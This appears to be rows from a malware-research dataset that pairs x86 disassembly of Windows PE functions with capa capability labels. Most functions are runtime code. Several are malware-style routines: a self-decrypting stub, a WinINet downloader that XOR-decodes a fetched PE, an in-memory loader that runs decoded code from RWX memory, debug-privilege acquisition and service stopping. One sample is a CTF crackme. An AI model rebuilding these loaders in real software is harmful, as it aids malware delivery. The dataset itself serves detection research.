joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b430
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
mov edx, dword [ebp + 0xc]
lea eax, [edx + 5]
push esi
cmp eax, 4
ja case.0x41b447.2
jmp dword [eax*4 + 0x41b524]
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x5c]
or dword [esi + 0x68], 4
test eax, eax
je 0x41b478
push 0xfffffffffffffff0
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
test eax, 0x10000000
jne 0x41b478
mov eax, dword [esi + 0x5c]
push 8
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x1c
mov ecx, dword [ebp + 8]
xor eax, eax
add ecx, 0xffffffbc
cmp edx, 0xfffffffc
sete al
push eax
call fcn.0041bbd0
pop esi
mov esp, ebp
pop ebp
ret 0x1c
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 8]
mov edx, dword [ecx + 0x18]
lea eax, [esi + 8]
push eax
call edx
test byte [esi + 0x68], 4
je 0x41b4d8
mov eax, dword [esi + 0x5c]
and dword [esi + 0x68], 0xfffffffb
test eax, eax
je 0x41b4d8
push 0xfffffffffffffff0
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
test eax, 0x10000000
je 0x41b4d8
mov eax, dword [esi + 0x5c]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x1c
mov ecx, str.FAIL
test edx, edx
jle 0x41b505
push 0x30e
push 0x4b12cc
call fcn.0041a980
add esp, 8
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x1c
push 0x31a
push str.Unrecognized_Negative_verb_in_DoVerb__.__bad.
call fcn.0041a980
add esp, 8
mov eax, 0x80004001
pop esi
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x420db0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x4af9fc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x420da0
call fcn.00470e57
add esp, 4
call fcn.00420c60
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x420e3e
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x420e04
mov edx, dword [ebp - 0x18]
push edx
jmp 0x420e38
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
push 0
push eax
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call fcn.0044ad30
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046d6a1
mov esp, ebp
pop ebp
ret
Function at 0x4210e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, ebx
sub esp, 0x10
lea edx, [eax + 1]
jmp 0x4210f0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4210f0
push esi
push edi
sub eax, edx
lea esi, [eax + ebx]
push 0x5c
push ebx
mov dword [ebp - 4], esi
call fcn.00470ee0
xor ecx, ecx
add esp, 8
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ecx
test eax, eax
jne 0x421120
mov dword [ebp - 0xc], ebx
jmp 0x421120
cmp byte [esi], 0x5c
jne 0x421136
inc esi
mov dword [ebp - 8], 1
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], esi
mov byte [esi], 0x5f
mov eax, dword [0x499ed0]
mov dword [ecx + esi], eax
mov edx, dword [0x499ed4]
mov dword [ecx + esi + 4], edx
mov al, byte [0x499ed8]
mov byte [ecx + esi + 8], al
test ebx, ebx
je 0x42119f
push 0
push 0
push 0xffffffffffffffff
push ebx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov esi, eax
test esi, esi
jle 0x42119c
lea ecx, [esi + esi + 2]
push ecx
call fcn.0046f41d
add esp, 4
push esi
mov edi, eax
push edi
push 0xffffffffffffffff
push ebx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
xor edx, edx
mov word [edi + esi*2 - 2], dx
mov esi, dword [ebp - 4]
jmp 0x4211a1
mov esi, dword [ebp - 4]
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
push edi
mov dword [ebp - 0x10], eax
call fcn.0046f3e3
add esp, 4
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4211db
mov eax, dword [ebp - 0xc]
push 0x2e
push eax
call fcn.004705c0
add esp, 8
test eax, eax
je 0x4211e3
cmp eax, esi
ja 0x4211e3
mov ecx, dword [ebp - 8]
mov byte [eax], 0x5c
jmp 0x421120
pop edi
mov eax, ebx
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x46d6a1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4af9fc]
jne 0x46d6ab
repz ret
jmp fcn.00476fcc

Function at 0x470c36
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x470c5d
call fcn.004714fb
mov dword [eax], esi
call fcn.004714e8
push 0x16
pop esi
mov dword [eax], esi
call fcn.00470ed0
mov eax, esi
jmp 0x470cb2
test dword [ebp + 0xc], 0xfffffff9
jne 0x470c43
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x470c8a
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.0047150e
pop ecx
call fcn.004714e8
mov eax, dword [eax]
jmp 0x470cb2
test al, 0x10
jne 0x470cb0
test al, 1
je 0x470cb0
test byte [ebp + 0xc], 2
je 0x470cb0
call fcn.004714fb
mov dword [eax], 5
call fcn.004714e8
mov dword [eax], 0xd
jmp 0x470c81
xor eax, eax
pop esi
pop ebp
ret

Function at 0x480bf8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x480c1f
call fcn.004714fb
mov dword [eax], esi
call fcn.004714e8
push 0x16
pop esi
mov dword [eax], esi
call fcn.00470ed0
mov eax, esi
jmp 0x480c74
test dword [ebp + 0xc], 0xfffffff9
jne 0x480c05
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x480c4c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.0047150e
pop ecx
call fcn.004714e8
mov eax, dword [eax]
jmp 0x480c74
test al, 0x10
jne 0x480c72
test al, 1
je 0x480c72
test byte [ebp + 0xc], 2
je 0x480c72
call fcn.004714fb
mov dword [eax], 5
call fcn.004714e8
mov dword [eax], 0xd
jmp 0x480c43
xor eax, eax
pop esi
pop ebp
ret
Function at 0x486cb7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4af9fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00479886
and dword [ebp - 0x14], 0
cmp dword [0x4b230c], 0
mov dword [ebp - 0x18], eax
jne 0x486d6a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x486e12
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x496bb8
push ebx
call edi
test eax, eax
je 0x486e12
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push 0x496ba8
push ebx
mov dword [0x4b230c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4b2310], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4b2314], eax
call edi
push eax
call esi
mov dword [0x4b231c], eax
test eax, eax
je 0x486d6a
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4b2318], eax
mov eax, dword [0x4b2318]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x486dc3
cmp dword [0x4b231c], ecx
je 0x486dc3
push eax
call esi
push dword [0x4b231c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x486dc3
test ebx, ebx
je 0x486dc3
call edi
test eax, eax
je 0x486dba
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x486dba
test byte [ebp - 8], 1
jne 0x486dc3
or dword [ebp + 0x10], 0x200000
jmp 0x486df6
mov eax, dword [0x4b2310]
cmp eax, dword [ebp - 0x18]
je 0x486df6
push eax
call esi
test eax, eax
je 0x486df6
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x486df6
mov eax, dword [0x4b2314]
cmp eax, dword [ebp - 0x18]
je 0x486df6
push eax
call esi
test eax, eax
je 0x486df6
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4b230c]
call esi
test eax, eax
je 0x486e12
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x486e14
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046d6a1
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x77ba3c00
Capabilities:
Check http status code
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.77ba4a50
mov dword [ebp - 0x14], ecx
xor eax, eax
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1014], bl
mov ecx, 0x3ff
lea edi, [ebp - 0x1013]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
mov esi, edx
push 0x77ba3b50
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
xor ecx, ecx
mov dword [ebp - 4], eax
cmp eax, ecx
je 0x77ba3d3c
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp - 0x14]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x77ba3d33
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x10], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x77ba3d23
cmp dword [ebp - 0xc], 0xc8
jne 0x77ba3d23
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1014]
push 0x1000
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x77ba3d23
cmp ebx, dword [ebp + 8]
ja 0x77ba3d23
cmp dword [ebp - 8], 0
je 0x77ba3cdd
push dword [ebp - 8]
lea eax, [ebp - 0x1014]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
jmp 0x77ba3c9c
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x77ba3cfb
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
pop eax
jmp 0x77ba3d3e
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 4]
call esi
jmp 0x77ba3d3c
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x77ba4057
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, edx
push esi
test eax, eax
push edi
je 0x77ba410b
cmp dword [0x77ba4aac], 0
jne 0x77ba4107
mov ecx, 0x40000
mov dword [0x77ba4aac], 1
call fcn.77ba48af
test eax, eax
mov dword [0x77ba4ab0], eax
je 0x77ba4107
mov esi, 0x50ea
mov ecx, esi
call fcn.77ba48af
mov edi, eax
test edi, edi
je 0x77ba4107
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
mov ecx, 0x77ba10d0
add esp, 0xc
mov eax, edi
sub ecx, edi
mov esi, 0x2875
mov dl, byte [ecx + eax]
xor dl, 0x3b
mov byte [eax], dl
inc eax
dec esi
jne 0x77ba40be
mov esi, dword [0x77ba4ab0]
lea eax, [ebp - 8]
push eax
mov edx, esi
mov ecx, edi
call fcn.77ba3d9c
test eax, eax
jne 0x77ba40ea
mov ecx, esi
call fcn.77ba48c0
jmp 0x77ba4107
mov ecx, edi
call fcn.77ba48c0
lea edx, [ebp - 4]
mov ecx, esi
call fcn.77ba3f09
mov eax, dword [ebp - 4]
push 0
push 1
push esi
add eax, esi
call eax
xor eax, eax
jmp 0x77ba4122
mov eax, dword [0x77ba4ab0]
test eax, eax
je 0x77ba411f
mov edx, ecx
mov ecx, eax
call fcn.77ba3f96
jmp 0x77ba4122
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x77ba4285
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push esi
push 0xf01ff
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x77ba42b7
lea eax, [esp + 4]
push edi
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, eax
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x77ba48af
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40501c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x405028
push 0x405024
push 0x405020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405028]
push dword [0x405024]
push dword [0x405020]
mov dword [0x405014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x401662
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x20
call dbg.__main
mov dword [esp + 0x15], 0x78466352
mov dword [esp + 0x19], 0x4865326e
mov word [esp + 0x1d], 0x5434
mov byte [esp + 0x1f], 0
mov dword [esp], str._n
call sym._printf
mov dword [esp], str._n
call sym._printf
mov dword [esp], str._____CYBER_LEARNING.FR______n
call sym._printf
mov dword [esp], str.____________________________n
call sym._printf
mov dword [esp], str._n
call sym._printf
mov dword [esp], str._n_n
call sym._printf
mov dword [esp], str.Entrez_votre_code_:__n
call sym._printf
mov dword [esp + 4], 0x414044
mov dword [esp], 0x41116b
call sym._scanf
mov eax, dword [0x414044]
mov dword [esp], eax
call sym._Chk_Flag
test eax, eax
jne 0x401716
mov dword [esp], str.Ce_nest_pas_le_bon_code_n
call sym._printf
jmp 0x40181e
mov dword [esp], str.Bravo_votre_FLAG_est_:__n
call sym._printf
movzx eax, byte [esp + 0x17]
movsx eax, al
mov dword [esp + 4], eax
mov dword [esp], 0x4111a1
call sym._printf
movzx eax, byte [esp + 0x15]
movsx eax, al
mov dword [esp + 4], eax
mov dword [esp], 0x4111a1
call sym._printf
movzx eax, byte [esp + 0x1a]
movsx eax, al
mov dword [esp + 4], eax
mov dword [esp], 0x4111a1
call sym._printf
movzx eax, byte [esp + 0x16]
movsx eax, al
mov dword [esp + 4], eax
mov dword [esp], 0x4111a1
call sym._printf
movzx eax, byte [esp + 0x19]
movsx eax, al
mov dword [esp + 4], eax
mov dword [esp], 0x4111a1
call sym._printf
movzx eax, byte [esp + 0x18]
movsx eax, al
mov dword [esp + 4], eax
mov dword [esp], 0x4111a1
call sym._printf
movzx eax, byte [esp + 0x1c]
movsx eax, al
mov dword [esp + 4], eax
mov dword [esp], 0x4111a1
call sym._printf
movzx eax, byte [esp + 0x1e]
movsx eax, al
mov dword [esp + 4], eax
mov dword [esp], 0x4111a1
call sym._printf
movzx eax, byte [esp + 0x1d]
movsx eax, al
mov dword [esp + 4], eax
mov dword [esp], 0x4111a1
call sym._printf
movzx eax, byte [esp + 0x1b]
movsx eax, al
mov dword [esp + 4], eax
mov dword [esp], str._c_n_n
call sym._printf
mov dword [esp], str.Vous_pouvez_utiliser_ce_flag_sur_le_site_cyber_learning.fr_n_n
call sym._printf
mov eax, 0
leave
ret

Function at 0x401aa0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401b00
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x41407c]
test esi, esi
jle 0x401c20
mov eax, dword [0x414080]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401b34
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401bb7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401b20
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401c47
mov eax, dword [0x414080]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x414080]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c27
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401bb0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401bc0
add dword [0x41407c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x414080]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401bb0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401b3e
mov eax, dword [0x414080]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x402100
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x414098
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x414090]
sub esp, 4
test ebx, ebx
je 0x402155
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40214e
test esi, esi
je 0x40214e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402130
mov dword [esp], 0x414098
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402480
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4024a5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4024b0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4024a5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x4024f8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4024ee
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4024fa
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4024e0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401cd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x401d28
cmp byte [esi + ebx - 1], 0xa
je 0x401cfc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x4040f8], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x402bd0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
xor eax, eax
mov ecx, pe_nt_image_headers32
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x20c]
mov edi, ebx
sub esp, 0x2ac
mov esi, dword [sym.imp.advapi32.dll_RegOpenKeyExW]
mov dword [ebp - 0x29c], pe_nt_image_headers32
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x298]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x290], 0
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SystemCurrentControlSetControlTimeZoneInformation
mov dword [esp], 0x80000002
call esi
sub esp, 0x14
test eax, eax
je 0x402cc8
mov dword [esp], str.Time_Zone
call dword [sym.imp.ucrtbase.dll_wcslen]
mov esi, dword [ebp + 0x10]
mov dword [esp], 1
sub esi, eax
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 0x10], ebx
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0x405074
mov dword [esp + 4], str.Time_Zone:_s__s_n
mov dword [esp], eax
call sym._fwprintf
mov eax, dword [ebp - 0x290]
mov ebx, dword [sym.imp.advapi32.dll_RegCloseKey]
mov dword [esp], eax
call ebx
mov eax, dword [ebp - 0x294]
sub esp, 4
mov dword [esp], eax
call ebx
mov eax, dword [ebp - 0x298]
sub esp, 4
mov dword [esp], eax
call ebx
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [ebp - 0x29c]
lea edi, [ebp - 0x28c]
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x298]
mov dword [esp + 0x10], edi
mov dword [esp], eax
mov eax, dword [sym.imp.advapi32.dll_RegQueryValueExW]
mov dword [esp + 8], 0
mov dword [esp + 4], str.TimeZoneKeyName
mov dword [ebp - 0x2a0], eax
call eax
sub esp, 0x18
test eax, eax
jne 0x402c4d
lea eax, [ebp - 0x294]
mov dword [esp + 0xc], 0x20019
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindows_NTCurrentVersionTime_Zones
mov dword [esp], 0x80000002
call esi
sub esp, 0x14
test eax, eax
jne 0x402c4d
lea eax, [ebp - 0x290]
mov dword [esp + 0xc], 0x20019
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x294]
mov dword [esp + 8], 0
mov dword [esp + 4], edi
mov dword [esp], eax
call esi
sub esp, 0x14
test eax, eax
jne 0x402c4d
mov eax, dword [ebp - 0x290]
lea edx, [ebp - 0x29c]
mov dword [esp + 0x10], ebx
mov dword [ebp - 0x29c], 0x200
mov dword [esp], eax
mov eax, dword [ebp - 0x2a0]
mov dword [esp + 0x14], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Display
call eax
sub esp, 0x18
jmp 0x402c4d